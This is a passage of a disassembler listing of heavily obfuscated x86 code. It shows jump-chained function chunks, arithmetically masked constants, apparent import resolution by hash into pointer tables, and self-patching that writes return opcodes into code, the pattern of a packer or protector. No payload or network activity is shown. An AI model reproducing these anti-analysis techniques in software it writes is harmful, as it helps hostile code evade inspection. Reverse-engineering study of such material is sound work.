var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007451CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074BAF5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C456 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C829 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074CC7B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074D453 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0074DD6B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00753A40 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0075561F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007567C6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00756FA5 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		jmp	loc_74DD6B
sub_750243	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_75024E:				; CODE XREF: _0z4jwtox:00756D44j
		jnz	loc_7463C9


loc_750254:				; CODE XREF: _0z4jwtox:00746EC0j
		cmp	ebx, 28EF5D29h
		jmp	loc_755B1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7453AD


loc_75025F:				; CODE XREF: sub_7453AD+9924j
		rol	eax, 6
		mov	edx, ecx
		jmp	loc_745F4F
; END OF FUNCTION CHUNK	FOR sub_7453AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_750269:				; CODE XREF: sub_75364C-2C8Bj
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		jmp	loc_756CBA
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------


loc_750275:				; CODE XREF: _0z4jwtox:00754A11j
		jo	loc_750854
		cmp	edi, 0CAAF8C62h
		jmp	loc_74AFB6

; =============== S U B	R O U T	I N E =======================================



sub_750286	proc near		; CODE XREF: sub_418AC8+21p
					; sub_750286+5j
					; DATA XREF: ...
		call	sub_750291
		jmp	ds:off_41F180
sub_750286	endp


; =============== S U B	R O U T	I N E =======================================



sub_750291	proc near		; CODE XREF: _0z4jwtox:007485D0j
					; sub_750286p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00749138 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00749A2A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A17D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074BE6B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C407 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E05A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00754548 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0075742D SIZE 0000000B BYTES

		xchg	ecx, [esp+8+var_8]
		mov	edx, ecx
		pop	ecx
		jo	loc_749138
		mov	eax, [esp+4+var_4]
		jmp	loc_74BE6B
sub_750291	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_299. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_7502A6:				; CODE XREF: sub_755C38-4B20j
		jmp	loc_745866
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_7502AB:				; CODE XREF: sub_7557E7-4DEBj
		jmp	loc_752D73
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_7502B0:				; CODE XREF: sub_748BBE+1Cj
		jmp	loc_748310
; END OF FUNCTION CHUNK	FOR sub_748BBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_7502B5:				; CODE XREF: sub_74AAC1-4F13j
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_7502BA	proc near		; CODE XREF: sub_755E78:loc_745969p
		xchg	esi, [esp+0]
		pop	esi


loc_7502BE:				; CODE XREF: _0z4jwtox:007572BEj
		pop	edx
		push	offset loc_74697F
		jmp	nullsub_80
sub_7502BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7502C9:				; CODE XREF: _0z4jwtox:loc_748637j
		jnb	loc_74EB04
		mov	[ebp+0], edi
		rol	eax, 3
		mov	[ebx], ebp
		sbb	edx, eax
		jmp	loc_74EB04
; ---------------------------------------------------------------------------


loc_7502DE:				; DATA XREF: _0z4jwtox:00749B30o
		mov	byte ptr [eax],	0C3h
		jmp	loc_750A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755148


loc_7502E6:				; CODE XREF: sub_755148:loc_757076j
		mov	eax, [esp+0]
		push	edx
		push	ecx
		push	0F71652DCh
		pop	ecx
		xor	ecx, 877576E2h
		jmp	loc_74585C
; END OF FUNCTION CHUNK	FOR sub_755148
; ---------------------------------------------------------------------------
		mov	eax, 0C308DC6Bh
		call	sub_746E93
		mov	ds:off_41F134, eax
		lea	eax, sub_7574E3
		jmp	loc_749466
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_750317:				; CODE XREF: sub_74AAC1:loc_75460Ej
		xor	esi, 0E484E14Fh
		sub	esi, 83BD3455h
		and	esi, 391078F1h
		add	esi, 0A4CB3F8Fh
		xor	eax, esi
		pop	esi
		mov	edx, [esp-4+arg_0]
		push	eax
		jmp	loc_74BA8D
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------


loc_75033B:				; CODE XREF: _0z4jwtox:007489DFj
		push	ecx
		push	edx
		pop	ecx
		xchg	ecx, [esp]
		push	eax
		push	50121C40h
		jmp	loc_74A11B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_248. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_75034D:				; CODE XREF: _0z4jwtox:00755933j
		jmp	loc_7456EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_750352:				; CODE XREF: sub_747C22+5ECEj
		jmp	loc_74FCE9
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A4B0


loc_750357:				; CODE XREF: sub_74A4B0-538Dj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74A4B0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_282. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_75035D:				; CODE XREF: _0z4jwtox:00756BC4j
		jmp	locret_756044
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746BE0


loc_750362:				; CODE XREF: sub_746BE0+Ej
		jmp	nullsub_282
; END OF FUNCTION CHUNK	FOR sub_746BE0
; ---------------------------------------------------------------------------
		mov	edi, [eax]
		jmp	loc_757737
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_75036E:				; CODE XREF: sub_747736+AEBBj
		jnz	loc_75610D


loc_750374:				; CODE XREF: sub_747736+AEB2j
		add	ebx, 7FD1D0C6h
		mov	[ebx], eax
		pop	ebx
		lea	eax, loc_74A78D
		mov	byte ptr [eax],	0C3h
		jmp	loc_74A78D
; END OF FUNCTION CHUNK	FOR sub_747736

; =============== S U B	R O U T	I N E =======================================



sub_75038B	proc near		; CODE XREF: sub_40CC09+37E5p
					; _0z4jwtox:007574D8j
					; DATA XREF: ...
		push	offset loc_7574D3
		jmp	loc_7491DB
sub_75038B	endp


; =============== S U B	R O U T	I N E =======================================



sub_750395	proc near		; DATA XREF: sub_745F37+Ao
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_24
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_24
sub_750395	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	ecx, 40466404h
		jmp	loc_745D9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E3F7


loc_7503B1:				; CODE XREF: sub_74E3F7:loc_7573FCj
		jnz	loc_74D112
		jmp	loc_7535EB
; END OF FUNCTION CHUNK	FOR sub_74E3F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_7503BC:				; CODE XREF: sub_74CBCF:loc_75500Ej
		rol	eax, 1Bh
		add	eax, 0D61C10C2h
		xchg	eax, [esp+0]
		jmp	sub_74FACE
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7503CE:				; CODE XREF: _0z4jwtox:00755377j
		jmp	locret_755D89
; ---------------------------------------------------------------------------


loc_7503D3:				; CODE XREF: _0z4jwtox:0074F074j
		jmp	loc_75285F

; =============== S U B	R O U T	I N E =======================================



sub_7503D8	proc near		; CODE XREF: _0z4jwtox:00751468j
					; sub_74BA92+9EC3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007507E6 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0D53662D3h
		pop	edi
		xor	edi, 8E460CE8h
		add	edi, 0A50495BBh
		xchg	edi, [esp-4+arg_0]
		jmp	loc_7507E6
sub_7503D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		jmp	loc_747DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_7503FE:				; CODE XREF: sub_74F73B:loc_751073j
		add	edi, 2DFBC668h


loc_750404:				; CODE XREF: sub_7474B9:loc_74F6F3j
		jnb	loc_753D30


loc_75040A:				; CODE XREF: _0z4jwtox:00746BA4j
		jmp	loc_74B764
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
		mov	eax, 33CF4D2Ch
		sub	ecx, ebx
		shr	edi, 17h
		jmp	loc_753D30
; ---------------------------------------------------------------------------
		mov	eax, 0C684C00Ch
		call	sub_746E93
		mov	ds:dword_41F054, eax
		lea	eax, nullsub_10
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_10

; =============== S U B	R O U T	I N E =======================================



sub_75043C	proc near		; CODE XREF: _0z4jwtox:00747DB0j
					; sub_751307+3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007450BB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00746975 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074750A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00748342 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074A554 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074D0E9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 007514EF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 007521C6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00753004 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007537CD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00755230 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00757563 SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebp, [esp-4+arg_0]
		call	sub_7490F6
		mov	eax, 59DAD382h
		call	sub_746E93
		push	esi
		push	496076D2h
		jmp	loc_753004
sub_75043C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748CFC


loc_75045D:				; CODE XREF: sub_748CFC+10j
		mov	byte ptr [eax],	0C3h
		jmp	loc_74B6FF
; END OF FUNCTION CHUNK	FOR sub_748CFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_750465:				; CODE XREF: sub_74F15D:loc_74F162j
		mov	eax, [esp-10h+arg_C]
		push	edx
		push	edi
		jmp	loc_7466AF
; END OF FUNCTION CHUNK	FOR sub_74F15D
; ---------------------------------------------------------------------------


loc_75046F:				; CODE XREF: _0z4jwtox:007533D3j
		mov	ebp, [eax]
		cdq
		add	esi, 2841352Bh
		xor	ebx, esi


loc_75047A:				; CODE XREF: _0z4jwtox:loc_7533C6j
		or	edx, 338582A9h
		sub	edx, 59CC37E3h
		push	offset sub_752DF2
		jmp	locret_754547
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C8E


loc_750490:				; CODE XREF: sub_752C8E-3B3Cj
		jz	loc_7508D6


loc_750496:				; CODE XREF: _0z4jwtox:00751573j
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_752C8E
; ---------------------------------------------------------------------------
		pushf
		shr	esi, 1
		js	loc_756E53
		push	0B5AF1357h
		jmp	loc_7508D6
; ---------------------------------------------------------------------------
		cmp	ebx, 68BE833Ah
		jmp	loc_7526F4
; ---------------------------------------------------------------------------


loc_7504B9:				; CODE XREF: _0z4jwtox:00747BBFj
		ja	loc_753CDE
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_7504BF:				; CODE XREF: sub_75712E+Dj
		rol	ebx, 11h
		sub	ebx, 2BD40FE8h
		add	ebx, 760FF941h
		jmp	loc_74539A
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------
		mov	eax, 0CB804A30h
		call	sub_746E93
		mov	ds:off_41F0B8, eax
		lea	eax, loc_7556B6
		mov	byte ptr [eax],	0C3h
		jmp	loc_7556B6

; =============== S U B	R O U T	I N E =======================================



sub_7504F1	proc near		; CODE XREF: sub_40857E+1Dp
					; _0z4jwtox:0074D617j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745415 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 007454E6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00747C00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00751176 SIZE 00000005 BYTES

		push	edx
		push	46FB7F91h
		jmp	loc_7454E6
sub_7504F1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_7504FC:				; CODE XREF: sub_748B44+9j
		jz	loc_753231
		sub	al, 99h
		push	0E46A8E44h
		pop	edx
		and	edx, 0E95F4814h
		jmp	loc_752183
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------


loc_750515:				; CODE XREF: _0z4jwtox:00747491j
		test	eax, ebp
		jmp	loc_74F1CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_75051C	proc near		; CODE XREF: _0z4jwtox:007482CBp
					; sub_74A47B:loc_752029p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074813C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749906 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0075124D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0075232D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752364 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075344B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00756651 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		jmp	loc_74813C
sub_75051C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_750530:				; CODE XREF: sub_74C670+9j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_755BF9
		jmp	loc_7533D9
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_750544:				; CODE XREF: _0z4jwtox:007523E8j
		jnz	loc_74CDBD
		ror	ecx, 1
		and	edi, eax
		xor	eax, 28174118h
		pushf
		jmp	loc_74CDB7
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_74EA54

; =============== S U B	R O U T	I N E =======================================



sub_750560	proc near		; CODE XREF: _0z4jwtox:00747703j
					; sub_74667B+5075p

; FUNCTION CHUNK AT 00754C10 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, nullsub_11
		mov	byte ptr [eax],	0C3h
		jmp	loc_754C10
sub_750560	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_750572:				; CODE XREF: _0z4jwtox:0074CD51j
		mov	eax, [esp]
		push	ebp
		jmp	loc_7473C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_75057B:				; CODE XREF: sub_752FC5-D326j
		mov	[esi], eax
		pop	esi
		lea	eax, sub_752FC5
		mov	byte ptr [eax],	0C3h
		jmp	loc_749C6A
; END OF FUNCTION CHUNK	FOR sub_752FC5
; ---------------------------------------------------------------------------
		push	offset sub_748CDD
		jmp	locret_74D00C
; ---------------------------------------------------------------------------
		xor	edi, 7620B0BEh
		jmp	sub_754C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_7505A1:				; CODE XREF: sub_74C670+5A93j
		add	eax, 0E89311A8h


loc_7505A7:				; CODE XREF: _0z4jwtox:loc_75325Aj
		add	eax, ebp
		add	eax, 0A585A4Bh
		mov	eax, [eax]
		call	sub_74742A


loc_7505B6:				; CODE XREF: sub_74FE55+40F6j
		jmp	loc_74C815
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747820


loc_7505BB:				; CODE XREF: sub_747820+8j
		jmp	loc_7458A6
; END OF FUNCTION CHUNK	FOR sub_747820
; ---------------------------------------------------------------------------
		sub	edi, 57CFDD82h
		jmp	sub_74A07B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_7505CB:				; CODE XREF: sub_74F69D:loc_753A62j
		push	esi
		push	9604D4h
		pop	esi
		and	esi, 35FB0633h
		rol	esi, 1Dh
		and	esi, 26171FE2h
		add	esi, offset byte_6280F1
		xchg	esi, [esp+4+var_4]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------


loc_7505EF:				; CODE XREF: _0z4jwtox:0074AFC8j
		jns	loc_74B094
; START	OF FUNCTION CHUNK FOR sub_752957


loc_7505F5:				; CODE XREF: sub_752957:loc_754A00j
		add	ebx, 363C4C24h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_3
		jmp	loc_74E20A
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_750609:				; CODE XREF: sub_74A7D8+5780j
		ror	eax, 1Dh
		push	offset sub_74533B
		jmp	loc_746D03
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------


loc_750616:				; DATA XREF: sub_7508F9-3FE3o
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
		jmp	loc_74B50B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_75062A:				; CODE XREF: sub_74C0A0:loc_749D57j
		pop	esi
		mov	eax, [eax]
		push	offset loc_7548C4
		jmp	loc_753085
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_281. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_750638	proc near		; CODE XREF: _0z4jwtox:00749560j
					; _0z4jwtox:loc_74FA65j ...

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

; FUNCTION CHUNK AT 00746083 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00746414 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00746A39 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074A0F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E329 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074F320 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00751069 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007538F7 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 007543FE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00755314 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00755810 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00755BA9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755D8A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00755F3D SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	edi
		push	1443C03Dh
		pop	edi
		add	edi, 0CBF207E1h
		jmp	loc_74F320
sub_750638	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_750656:				; CODE XREF: sub_7523A2-9B6Bj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_75065B:				; CODE XREF: sub_748BBE:loc_748316j
		call	sub_74B1F1
		mov	eax, 0F074E076h
		push	edx
		push	1AA38B50h
		jmp	loc_7561CE
; END OF FUNCTION CHUNK	FOR sub_748BBE
; ---------------------------------------------------------------------------
		jmp	ds:off_41F0E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B01A


loc_750676:				; CODE XREF: sub_74B01A-4B2Aj
					; sub_748CFC:loc_74B6FFj ...
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx
		call	sub_74F15D


loc_750680:				; CODE XREF: sub_74D23E-19Aj
		jmp	loc_74D79C
; END OF FUNCTION CHUNK	FOR sub_74B01A
; ---------------------------------------------------------------------------


loc_750685:				; CODE XREF: _0z4jwtox:007481A3j
		jmp	loc_7485E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A47B


loc_75068A:				; CODE XREF: _0z4jwtox:0074C1C9j
					; sub_74A47B+D08Dj
		rol	ebx, 18h
		add	ebx, 0FB46EE5Ch
		popf
		xchg	ebx, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74A47B
; ---------------------------------------------------------------------------
		mov	ds:off_41F184, eax
		lea	eax, sub_74CBB7
		mov	byte ptr [eax],	0C3h
		jmp	sub_74CBB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_7506B0:				; CODE XREF: sub_74CBB7j
		pop	edx
		jmp	loc_750C49
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------


loc_7506B6:				; CODE XREF: _0z4jwtox:0074AAE4j
		adc	ecx, ebx
		jmp	loc_7556F9
; ---------------------------------------------------------------------------


loc_7506BD:				; CODE XREF: _0z4jwtox:0074C240j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7556F9
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_7506CC:				; CODE XREF: sub_752D11:loc_7542F1j
		jmp	loc_7501C4
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
		or	ebx, edx
		or	ebp, ebx
		jmp	sub_74AA82
; ---------------------------------------------------------------------------
		shl	ebx, 1Fh
		jmp	sub_754779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_7506E2:				; CODE XREF: sub_7473D1+DCD6j
		xor	edx, 7AAC7B50h
		add	edx, 18287A41h
		popf
		xchg	edx, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755B22


loc_7506F7:				; CODE XREF: sub_755B22:loc_753B9Dj
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h
		jmp	loc_745013
; END OF FUNCTION CHUNK	FOR sub_755B22

; =============== S U B	R O U T	I N E =======================================



sub_750705	proc near		; CODE XREF: sub_4084F4+2Dp
					; sub_750705+5j
					; DATA XREF: ...
		call	sub_750715
		jmp	ds:off_41F0B4
sub_750705	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_750710:				; CODE XREF: sub_74673E+FEDCj
		jmp	loc_7553D2
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_750715	proc near		; CODE XREF: sub_74E0C2+7j
					; sub_750715-832j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745C43 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AA72 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074E0CE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074FEC4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 007525C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0075502C SIZE 0000001F BYTES

		js	loc_74E0CE
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	ebp
		jmp	loc_74AA72
sub_750715	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_750725:				; CODE XREF: _0z4jwtox:00748089j
		jnz	loc_74AE56
		jmp	loc_753AB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_750730:				; CODE XREF: sub_74673E:loc_75480Bj
		jnz	loc_753452
		jmp	loc_747579
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_75073B:				; CODE XREF: sub_749608+B036j
		call	sub_74BA2F


loc_750740:				; CODE XREF: sub_745DB1:loc_74A9ABj
					; _0z4jwtox:0074A9C7j
		xor	ebx, 0E2AFCACEh
		and	ebx, 3718BAC7h
		sub	ebx, 0CE0B74C4h
		add	ebx, 0AB44DB88h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_184
		jmp	loc_755595
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------


loc_750766:				; CODE XREF: _0z4jwtox:loc_74A345j
		add	edx, ebp
		add	edx, 79D34163h
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7539C0
		jmp	loc_755759
; ---------------------------------------------------------------------------
		jmp	ds:off_41F020
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_750785:				; CODE XREF: sub_753FCE-18F6j
		jmp	loc_74B103
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_75078A:				; CODE XREF: sub_74724C+7F3Fj
					; sub_74A1BE+5E15j ...
		jz	loc_756380
		xchg	ecx, [esp+4+var_4]
		mov	edx, ecx
		pop	ecx
		jmp	loc_74F395
; END OF FUNCTION CHUNK	FOR sub_74724C

; =============== S U B	R O U T	I N E =======================================



sub_75079B	proc near		; DATA XREF: sub_7569C5+6o

; FUNCTION CHUNK AT 007471A6 SIZE 00000020 BYTES

		xchg	eax, [esp+0]
		mov	esi, eax
		pop	eax
		sub	esi, 7A9DEA36h


loc_7507A7:				; CODE XREF: sub_74AE67:loc_75549Dj
		jmp	loc_7471A6
sub_75079B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_7507AC:				; CODE XREF: _0z4jwtox:loc_748418j
		xor	esi, 0D8E1DDDh
		and	esi, 5E45C277h
		add	esi, 0EE72E49Ah
		xchg	esi, [esp]
		jmp	loc_75595F

; =============== S U B	R O U T	I N E =======================================



sub_7507C6	proc near		; CODE XREF: _0z4jwtox:007470A5p
					; _0z4jwtox:0074EAACj

arg_4		= dword	ptr  8

		xchg	esi, [esp+0]
		pop	esi
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		push	edi
		push	0F3B3630Ah
		pop	edi
sub_7507C6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_749306


loc_7507D6:				; CODE XREF: sub_749306+C26Fj
		jmp	loc_747790
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
		mov	ds:off_41F090, eax
		call	sub_752BD1
; START	OF FUNCTION CHUNK FOR sub_7503D8


loc_7507E6:				; CODE XREF: sub_7503D8+19j
		jmp	sub_752E0F
; END OF FUNCTION CHUNK	FOR sub_7503D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75609F


loc_7507EB:				; CODE XREF: sub_75609F-FBE2j
		jmp	loc_74E57A
; END OF FUNCTION CHUNK	FOR sub_75609F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_7507F0:				; CODE XREF: sub_7514AC+510Dj
		add	ecx, 1DBB1168h
		xchg	ecx, [esp+0]
		jmp	loc_7495B9
